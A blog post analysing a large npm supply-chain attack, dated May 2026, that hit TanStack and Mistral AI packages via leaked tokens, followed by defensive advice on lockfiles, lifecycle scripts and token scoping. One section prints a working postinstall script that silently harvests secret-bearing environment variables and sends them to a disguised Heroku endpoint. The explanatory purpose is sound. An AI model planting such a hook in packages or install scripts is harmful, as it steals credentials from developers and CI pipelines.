Last week, one of the most significant npm supply chain attacks in recent memory hit the JavaScript ecosystem. Over 170 packages were compromised, including household names like TanStack’s suite of libraries and Mistral AI’s official npm client. If you’re a JavaScript developer — and statistically, you probably are — there’s a good chance one of your projects was affected.
I’ve been tracking supply chain attacks in this series for a while now, from the xz-utils backdoor to the PyTorch Lightning malware. This one is different. It’s not a targeted infiltration of a single package — it’s a broad, automated campaign that exploited a systemic weakness in how npm tokens are managed. Let’s dig in.
What Happened#
On May 8, 2026, maintainers of TanStack (the project behind TanStack Query, TanStack Router, TanStack Table, and others) discovered that several of their packages had been published with malicious code injected into postinstall scripts. Within hours, it became clear this wasn’t an isolated incident — Mistral AI’s @mistralai/mistralai client library and over 170 other packages across the npm registry were similarly compromised.
The malicious versions contained obfuscated code in their postinstall hooks that would:
- Harvest environment variables (targeting CI/CD secrets, cloud provider credentials, and API keys)
- Exfiltrate the collected data to attacker-controlled endpoints
- In some packages, install a persistent reverse shell that would survive container restarts
The TanStack team published their postmortem within 48 hours, and it paints a clear picture of how a single compromised npm token can cascade across an entire ecosystem.
The Attack Vector: Token Compromise at Scale#
This wasn’t a sophisticated zero-day exploit or a social engineering campaign targeting individual maintainers. The attack exploited something far more mundane and far more common: leaked npm automation tokens.
Here’s what the postmortem revealed:
Step 1: Token harvesting. The attacker scraped GitHub Actions workflow logs, public CI/CD configurations, and historically leaked credentials from data breach dumps. npm automation tokens — the tokens used by CI pipelines to publish packages — were the primary target. Unlike granular tokens (introduced by npm in 2022), many of these were classic tokens with full publish access to every package the maintainer owned.
Step 2: Automated publishing. Using the harvested tokens, the attacker ran an automated pipeline that:
- Pulled the latest version of each target package
- Injected the malicious postinstall script
- Bumped the patch version
- Published to npm
Step 3: Rapid propagation. Because many projects use loose version ranges (^ or ~ prefixes in package.json), the malicious patch versions were automatically pulled into fresh installs and CI builds within minutes.
The entire operation — from first malicious publish to detection — took approximately 11 hours. In that window, the compromised packages were downloaded over 1.2 million times.
Inside the Malicious Payload#
Let me walk through what the injected code actually did. Understanding the mechanics helps you spot similar patterns in the future.
The postinstall script in compromised packages contained something like this (simplified from the obfuscated original):
// postinstall.js — injected into compromised packages
const https = require("https");
const { execSync } = require("child_process");
const os = require("os");
const collect = () => {
const data = {
env: Object.fromEntries(
Object.entries(process.env).filter(([k]) =>
/token|key|secret|password|credential|auth/i.test(k)
)
),
hostname: os.hostname(),
user: os.userInfo().username,
cwd: process.cwd(),
npm_package: process.env.npm_package_name,
npm_version: process.env.npm_package_version,
};
return Buffer.from(JSON.stringify(data)).toString("base64");
};
const exfil = (payload) => {
const req = https.request({
hostname: "cdn-analytics-events.herokuapp.com", // disguised as analytics
path: `/v2/events?d=${payload}`,
method: "GET",
});
req.on("error", () => {}); // silent failure
req.end();
};
try {
exfil(collect());
} catch (e) {
// never throw — don't break the install
}A few things to note about the design:
It targets environment variables by pattern. The regex /token|key|secret|password|credential|auth/i catches most CI/CD secret naming conventions. If your CI pipeline has NPM_TOKEN, AWS_SECRET_ACCESS_KEY, or GITHUB_TOKEN in its environment, those were exfiltrated.
It fails silently. The try/catch wrapping with an empty error handler ensures the npm install succeeds even if the exfiltration fails. From the developer’s perspective, nothing looks wrong.
The C2 domain is disguised. Using a Heroku subdomain with “analytics” in the name makes it blend into network logs. This is a common pattern — attackers don’t use evil-c2-server.xyz anymore.
Why npm Postinstall Scripts Are the Achilles’ Heel#
This attack reinforces something I’ve been saying for years: npm lifecycle scripts are the single biggest attack surface in the JavaScript ecosystem.
When you run npm install, any package in your dependency tree can execute arbitrary code on your machine through lifecycle scripts (preinstall, postinstall, prepare, etc.). This isn’t a bug — it’s by design. Packages use these hooks for legitimate purposes: compiling native addons, running build steps, or setting up configurations.
But it means that every npm install is an implicit trust decision. You’re saying: “I trust every package in my dependency tree — including all transitive dependencies — to run code on my machine.”
For context, a typical Next.js project has 300+ packages in its dependency tree. A fresh create-react-app installation pulls in over 1,400. How many of those have you audited?
Practical Steps to Protect Your Projects#
Here’s what I’d do right now if I maintained any JavaScript project:
1. Check If You Were Affected#
First, figure out if any of the compromised package versions made it into your projects:
# Check your lockfile for known compromised versions
# TanStack packages: any patch versions published between May 8-9, 2026
npm ls @tanstack/react-query @tanstack/router @tanstack/table 2>/dev/null
# Check when your lockfile was last updated
git log -1 --format="%ai" -- package-lock.json
# For a broader check, use npm audit
npm auditIf you installed or updated dependencies between May 8-9, review your lockfile carefully. The compromised versions have been unpublished, but if they’re pinned in your lockfile, you’ll need to update.
2. Rotate Your Secrets#
If your CI ran npm install during the compromise window, assume your CI environment variables were exfiltrated. Rotate:
- npm tokens
- Cloud provider credentials (AWS, GCP, Azure)
- API keys for any services configured in your CI environment
- GitHub tokens (especially
GITHUB_TOKENif you use custom PATs)
Yes, this is painful. Do it anyway.
3. Disable Lifecycle Scripts by Default#
This is the single most impactful change you can make. Add this to your project’s .npmrc:
# .npmrc — disable postinstall scripts by default
ignore-scripts=trueThen explicitly allow scripts only for packages that need them (like native addons):
# Run scripts only when you explicitly choose to
npm install --ignore-scripts
npm rebuild node-sass # only rebuild what needs native compilationThe trade-off is that some packages won’t work out of the box — anything that needs a native build step or a postinstall setup will require manual intervention. In my experience, this affects maybe 5% of packages, and the security benefit is worth the friction.
4. Use Lockfiles and Verify Integrity#
If you’re not already committing your package-lock.json (or yarn.lock / pnpm-lock.yaml), start now. And use the integrity verification your package manager provides:
# npm: use ci instead of install in CI pipelines
# This installs exactly what's in the lockfile, no modifications
npm ci
# pnpm: frozen lockfile mode
pnpm install --frozen-lockfile
# Yarn: immutable installs
yarn install --immutableThe npm ci command is critical for CI/CD. Unlike npm install, it won’t modify the lockfile and will fail if there’s a mismatch between package.json and package-lock.json. If the lockfile was generated before the compromise, npm ci would have rejected the malicious versions.
5. Switch to Granular npm Tokens#
If you’re still using classic npm automation tokens, stop. npm’s granular access tokens let you restrict publish access to specific packages and set IP allowlists:
# Create a token that can only publish @yourscope/* packages
# Do this through the npm website: npmjs.com → Access Tokens → Generate New Token
# Select "Granular Access Token"
# Restrict to specific packages
# Set CIDR allowlist to your CI provider's IP rangesA granular token that can only publish @tanstack/react-query from GitHub Actions’ IP range wouldn’t have been useful for compromising any other packages. This is the single biggest thing the ecosystem can do to prevent attacks like this.
6. Monitor Your Dependencies#
Set up automated monitoring so you know when something changes:
# Socket.dev — analyzes packages for supply chain risks
# Add to your CI pipeline
npx socket optimize # reviews your dependency tree
# Alternatively, use npm's built-in audit in CI
npm audit --audit-level=high
if [ $? -ne 0 ]; then
echo "Security audit failed"
exit 1
fiTools like Socket.dev go beyond known CVEs — they analyze package behavior, looking for exactly the patterns this attack used: network calls in install scripts, environment variable access, and obfuscated code.
What the Ecosystem Needs to Fix#
Individual developers can harden their projects, but this attack exposed systemic issues that need ecosystem-level solutions:
npm should disable lifecycle scripts by default. The current default — running arbitrary code from every package in your tree during install — is indefensible. Packages that need install scripts should opt in, and users should explicitly approve them. Deno got this right from day one with its permission system. Node.js needs to catch up.
Token scoping should be mandatory. Classic npm tokens with unrestricted publish access should be deprecated, with a clear migration timeline. Every automation token should be scoped to specific packages and IP ranges.
Provenance verification should be the norm. npm’s package provenance feature — which cryptographically links published packages to their source repository and build system — should be required for popular packages. If TanStack’s packages had provenance verification, the attacker-published versions would have been immediately flagged as not originating from the legitimate CI pipeline.
# Check if a package has provenance attestation
npm audit signatures
# This verifies that published packages match their claimed sourceThe registry needs better anomaly detection. Publishing 170+ packages from different maintainer accounts in rapid succession should trigger automated review, not sail through silently.
Lessons for the Broader Ecosystem#
This attack will — I hope — accelerate several trends that are already underway:
The shift toward pnpm continues to make sense. Its strict dependency resolution prevents phantom dependencies, and its pnpm audit is increasingly sophisticated. If you haven’t evaluated pnpm for your projects, now’s the time.
Container-based CI with minimal environment variable exposure is no longer optional. Your build pipeline should only have access to the secrets it actually needs for each step. Don’t give your npm install step access to your deployment credentials.
Vendoring dependencies — keeping a full copy of node_modules in your repo or artifact store — is starting to look less crazy than it did five years ago. It’s what Go does with its module proxy, and it eliminates the window between a malicious publish and your next install.
My Take#
I wrote about the xz-utils attack anniversary last month and warned that the JavaScript ecosystem was overdue for something similar. I didn’t expect it to happen this quickly, or at this scale.
What frustrates me most about this incident isn’t the attack itself — it’s the predictability of it. Leaked npm tokens have been a known problem for years. Unrestricted lifecycle scripts have been debated since at least 2018. Granular tokens exist but adoption is low. We had all the tools to prevent this, and we collectively didn’t use them.
The TanStack team deserves credit for their rapid, transparent response. Their postmortem is a model of what incident communication should look like — clear timelines, honest about what they don’t know, and specific about remediation steps. If you maintain open-source packages, bookmark it as a template.
But the 170+ other affected packages tell a bigger story: the npm ecosystem is still running on trust, and that trust keeps getting exploited. Until the defaults change — scripts off, tokens scoped, provenance required — we’re going to keep having these conversations.
Lock down your tokens. Disable your lifecycle scripts. Audit your dependencies. The next attack is already being planned.
This post is part of my Supply Chain Security series, where I track real-world attacks and share practical defenses. If the npm ecosystem is central to your work, I also cover related ground in my JavaScript & Node.js series.


